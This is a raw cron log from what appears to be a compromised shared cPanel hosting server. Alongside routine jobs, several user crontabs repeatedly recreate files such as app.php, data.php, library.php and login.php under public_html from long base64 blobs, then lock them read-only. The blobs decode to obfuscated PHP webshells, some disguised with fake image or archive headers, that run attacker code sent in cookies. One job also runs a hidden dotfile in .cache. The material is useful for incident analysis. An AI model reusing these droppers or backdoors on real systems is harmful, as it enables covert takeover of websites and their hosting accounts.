Jun  7 07:16:02 medusa CROND[23890]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:16:02 medusa CROND[23891]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:16:02 medusa CROND[23893]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:16:02 medusa CROND[23894]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:16:02 medusa CROND[23895]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:16:02 medusa CROND[23897]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:17:01 medusa CROND[25823]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:17:01 medusa CROND[25868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:17:01 medusa CROND[25869]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 07:17:01 medusa CROND[25871]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:17:01 medusa CROND[25872]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:17:01 medusa CROND[25874]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:17:01 medusa CROND[25873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:17:01 medusa CROND[25875]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:17:01 medusa CROND[25876]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:17:01 medusa CROND[25877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:17:01 medusa CROND[25879]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:17:01 medusa CROND[25880]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:17:01 medusa CROND[25882]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:18:02 medusa CROND[27788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:18:02 medusa CROND[27797]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 07:18:02 medusa CROND[27799]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:18:02 medusa CROND[27798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:18:02 medusa CROND[27800]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:18:02 medusa CROND[27801]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:18:02 medusa CROND[27802]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:18:02 medusa CROND[27808]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:18:02 medusa CROND[27809]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:18:02 medusa CROND[27806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
